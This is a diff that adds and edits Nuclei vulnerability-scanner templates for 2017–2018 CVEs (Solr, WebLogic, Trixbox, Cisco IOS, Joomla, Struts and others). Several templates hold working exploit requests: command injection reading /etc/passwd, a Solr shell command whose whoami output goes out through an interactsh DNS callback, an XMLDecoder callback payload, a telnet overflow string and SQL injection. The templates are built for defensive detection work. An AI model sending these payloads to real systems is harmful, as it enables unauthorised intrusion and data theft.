@@ -5,6 +5,7 @@ info:
  author: madrobot
  severity: medium
  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  reference: http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
  tags: cve,cve2017,xss,oracle

 requests:
@@ -5,6 +5,7 @@ info:
  author: dwisiswant0
  severity: high
  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  reference: https://github.com/intelliants/subrion/issues/479
  tags: cve,cve2017,sqli,subrion

  # Source:
@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header
@@ -0,0 +1,34 @@
+id: CVE-2017-12542
+
+info:
+  name: ILO4 Authentication bypass
+  author: pikpikcu
+  severity: critical
+  description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12542
+      - https://www.exploit-db.com/exploits/44005
+  tags: cve,cve2017,ilo4,hpe
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/v1/AccountService/Accounts"
+    headers:
+      Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "iLO User"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,8 @@ info:
  name: Apache Struts2 S2-053 RCE
  author: pikpikcu
  severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-12611
+  description: In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
+  reference: https://struts.apache.org/docs/s2-053.html
  tags: cve,cve2017,apache,rce,struts

 requests:
@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -1,11 +1,12 @@
 id: CVE-2017-12635

 info:
-  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 RPE
+  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 Remote Privilege Escalation
  author: pikpikcu
  severity: high
+  description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
  reference: https://github.com/assalielmehdi/CVE-2017-12635
-  tags: cve,cve2017,couchdb,rpe
+  tags: cve,cve2017,couchdb

 requests:
  - raw:
@@ -5,12 +5,11 @@ info:
  author: apt-mirror
  severity: high
  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
-  tags: cve,cve2017,sap,traversal
-
-  # References:
-  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
-  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
-  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+  tags: cve,cve2017,sap,lfi
+  reference: |
+      - https://www.cvedetails.com/cve/CVE-2017-12637/
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+      - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf

 requests:
  - method: GET
@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -4,11 +4,12 @@ info:
  name: trixbox 2.8.0 - directory-traversal
  author: pikpikcu
  severity: medium
-  tags: cve,cve2017,trixbox,traversal
-
-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
-# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
-# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+  tags: cve,cve2017,trixbox,lfi
+  description: trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+      - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+      - Product vendor:-https://sourceforge.net/projects/asteriskathome/

 requests:
  - raw:
@@ -5,7 +5,7 @@ info:
  author: Random-Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
-  tags: cve,cve2017,nodejs,traversal
+  tags: cve,cve2017,nodejs,lfi

 requests:
  - method: GET
@@ -0,0 +1,45 @@
+id: CVE-2017-15715
+
+info:
+  name: Apache Arbitrary File Upload
+  author: geeknik
+  description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.
+  reference: https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
+  severity: high
+  tags: cve,cve2017,apache,httpd,fileupload
+
+requests:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 264
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Accept-Encoding: gzip, deflate
+        Connection: close
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
+
+        {{randstr_1}}
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="name"
+
+        {{randstr}}.php\x0A
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
+
+      - |
+        GET /{{randstr}}.php\x0A HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip,deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "{{randstr_1}}")'
@@ -4,7 +4,8 @@ info:
  name: Nextjs v2.4.1 LFI
  author: pikpikcu
  severity: high
-  refrence: https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
+  description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
+  reference: https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
  tags: cve,cve2017,nextjs,lfi

 requests:
@@ -0,0 +1,100 @@
+id: CVE-2017-17562
+
+info:
+  name: Embedthis GoAhead RCE
+  description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.
+  author: geeknik
+  reference: |
+    - https://www.elttam.com/blog/goahead/
+    - https://github.com/ivanitlearning/CVE-2017-17562
+    - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
+  severity: high
+  tags: cve,cve2017,rce,embedthis,goahead,fuzz
+
+requests:
+  - payloads:
+      endpoint:
+        - admin
+        - apply
+        - non-CA-rev
+        - cgitest
+        - checkCookie
+        - check_user
+        - chn/liveView
+        - cht/liveView
+        - cnswebserver
+        - config
+        - configure/set_link_neg
+        - configure/swports_adjust
+        - eng/liveView
+        - firmware
+        - getCheckCode
+        - get_status
+        - getmac
+        - getparam
+        - guest/Login
+        - home
+        - htmlmgr
+        - index
+        - index/login
+        - jscript
+        - kvm
+        - liveView
+        - login
+        - login.asp
+        - login/login
+        - login/login-page
+        - login_mgr
+        - luci
+        - main
+        - main-cgi
+        - manage/login
+        - menu
+        - mlogin
+        - netbinary
+        - nobody/Captcha
+        - nobody/VerifyCode
+        - normal_userLogin
+        - otgw
+        - page
+        - rulectl
+        - service
+        - set_new_config
+        - sl_webviewer
+        - ssi
+        - status
+        - sysconf
+        - systemutil
+        - t/out
+        - top
+        - unauth
+        - upload
+        - variable
+        - wanstatu
+        - webcm
+        - webmain
+        - webproc
+        - webscr
+        - webviewLogin
+        - webviewLogin_m64
+        - webviewer
+        - welcome
+    raw:
+      - |
+        GET /cgi-bin/§endpoint§?LD_DEBUG=help HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
+        Accept: */*
+        Connection: close
+
+    attack: sniper
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "environment variable"
+          - "display library search paths"
+        condition: and
@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body
@@ -0,0 +1,26 @@
+id: CVE-2017-3881
+
+info:
+  name: Cisco IOS 12.2(55)SE11 Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  reference: |
+    - https://github.com/artkond/cisco-rce
+    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
+    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
+  description: RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent.
+  tags: cve,cve2017,cisco,rce,network
+
+network:
+  - inputs:
+      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
+        read: 1024
+      - data: "show priv"
+        read: 1024
+    host:
+      - "{{Hostname}}:23"
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Current privilege level is"
@@ -0,0 +1,27 @@
+id: CVE-2017-5521
+info:
+  name: Bypassing Authentication on NETGEAR Routers
+  author: princechaddha
+  severity: medium
+  description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.
+  reference: |
+    - https://www.cvedetails.com/cve/CVE-2017-5521/
+    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "right\">Router\\s*Admin\\s*Username<"
+          - "right\">Router\\s*Admin\\s*Password<"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -5,11 +5,7 @@ info:
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  tags: cve,cve2017,struts,rce,apache
-
-# This template supports the detection part only.
-# Do not test any website without permission
-# Exploit:- https://github.com/mazen160/struts-pwn
-
+  reference: https://github.com/mazen160/struts-pwn

 requests:
  - raw:
@@ -1,27 +1,31 @@
 id: CVE-2017-7269

 info:
-  name: CVE-2017-7269
-  author: thomas_from_offensity
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity & @geeknik
  severity: critical
-  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
-
-# this was implemented based on the "check"-method in:
-# https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce

 requests:
  - method: OPTIONS
    path:
      - "{{BaseURL}}"
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+
      - type: word
        words:
          - "IIS/6.0"
        part: header
+
      - type: dsl
        dsl:
          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
@@ -29,4 +33,4 @@ requests:
          - regex(".*?PROPFIND", public)    # lowercase header name: Public
          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
        condition: or
-        part: header
+        part: header
@@ -6,8 +6,7 @@ info:
  severity: medium
  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
  tags: cve,cve2017,magmi,xss
-
-  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  reference: https://github.com/dweeves/magmi-git/issues/522
  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip

 requests:
@@ -12,10 +12,10 @@ info:
  # This template works by guessing user ID.
  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].

-  # References:
-  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
-  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
-  # - [3] https://www.exploit-db.com/exploits/41890
+  reference: |
+    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+    - https://www.exploit-db.com/exploits/41890

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CVE-2017-7921
+info:
+  name: Hikvision Authentication Bypass
+  author: princechaddha
+  severity: high
+  description: An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
+  reference: |
+    - http://www.hikvision.com/us/about_10805.html
+    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<firmwareVersion>"
+        part: body
+
+      - type: word
+        words:
+          - "application/xml"
+        part: header
@@ -0,0 +1,19 @@
+id: CVE-2017-8917
+info:
+  name: Joomla SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.
+  reference: https://www.cvedetails.com/cve/CVE-2017-8917/
+  tags: cve,cve2017,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body
@@ -2,17 +2,28 @@ id: CVE-2017-9506

 info:
  name: Jira IconURIServlet SSRF
-  author: pd-team
+  author: pdteam
  severity: high
  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
-  tags: cve,cve2017,atlassian,jira,ssrf
+  reference: |
+    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
+    - https://ecosystem.atlassian.net/browse/OAUTH-344
+    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
+  tags: cve,cve2017,atlassian,jira,ssrf,oob

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
    matchers:
      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "ipinfo.io/missingauth"
-        part: body
+          - "http"
@@ -4,8 +4,11 @@ info:
  name: Apache Struts2 S2-053 RCE
  author: pikpikcu
  severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9791
-  tags: cve, cve2017,apache,rce
+  description: The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - http://struts.apache.org/docs/s2-048.html
+  tags: cve,cve2017,apache,rce

 requests:
  - method: POST
@@ -4,7 +4,10 @@ info:
  name: Apache Struts2 S2-052 RCE
  author: pikpikcu
  severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9805
+  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - https://struts.apache.org/docs/s2-052.html
  tags: cve,cve2017,apache,rce,struts

 requests:
@@ -6,10 +6,9 @@ info:
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  tags: cve,cve2017,php,phpunit,rce
-
-  # Reference to exploit
-  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
-  # https://github.com/RandomRobbieBF/phpunit-brute
+  reference: |
+    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+    - https://github.com/RandomRobbieBF/phpunit-brute

 requests:
  - method: GET
@@ -4,22 +4,23 @@ info:
  name: Cisco ASA path traversal vulnerability
  author: organiccrap
  severity: medium
-  tags: cve,cve2018,cisco,traversal
-
-  # https://github.com/yassineaboukir/CVE-2018-0296
-  # curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
-  # if vulnerable, curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/number
+  tags: cve,cve2018,cisco,lfi
+  reference: https://github.com/yassineaboukir/CVE-2018-0296

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "///sessions"
        part: body
+
      - type: status
        status:
          - 200
@@ -0,0 +1,32 @@
+id: CVE-2018-10141
+
+info:
+  name: GlobalProtect Login page XSS
+  author: dhiyaneshDk
+  description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10141
+  tags: globalprotect,xss,cve,cve2018,vpn
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'var valueUser = "j";-alert(1)-"x";'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -5,7 +5,7 @@ info:
  author: pikpikcu
  severity: critical
  reference: https://github.com/jas502n/St2-057
-  tags: cve,cve2018,apache,rce,struts2
+  tags: cve,cve2018,apache,rce,struts

 requests:
  - method: GET
@@ -0,0 +1,20 @@
+id: CVE-2018-11784
+
+info:
+  name: Apache Tomcat Open Redirect
+  author: geeknik
+  description: Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.
+  reference: https://lists.apache.org/thread.html/23134c9b5a23892a205dc140cdd8c9c0add233600f76b313dda6bd75@%3Cannounce.tomcat.apache.org%3E
+  severity: medium
+  tags: tomcat,redirect,cve,cve2018
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?example.com"
+        part: header
@@ -0,0 +1,26 @@
+id: CVE-2018-1207
+
+info:
+  name: Dell iDRAC7 and iDRAC8 Devices Code Injection/RCE
+  author: dwisiswant0
+  severity: critical
+  reference: https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf
+  description: |
+    This template supports the detection part only.
+
+    Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability
+    which could be used to execute remote code. A remote unauthenticated attacker may
+    potentially be able to use CGI variables to execute remote code.
+
+    https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py
+  tags: cve,cve2018,dell,injection,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/login?LD_DEBUG=files"
+    matchers:
+      - type: word
+        words:
+          - "calling init: /lib/"
+        part: all
@@ -0,0 +1,29 @@
+id: CVE-2018-12634
+
+info:
+  name: Exposed CirCarLife System Log
+  author: geeknik
+  description: CirCarLife is an internet-connected electric vehicle charging station
+  reference: https://circontrol.com/
+  severity: medium
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        words:
+          - "user.debug"
+          - "user.info"
+          - "EVSE"
+        condition: and
+      - type: status
+        status:
+          - 200
@@ -5,7 +5,7 @@ info:
  author: hetroublemakr
  severity: high
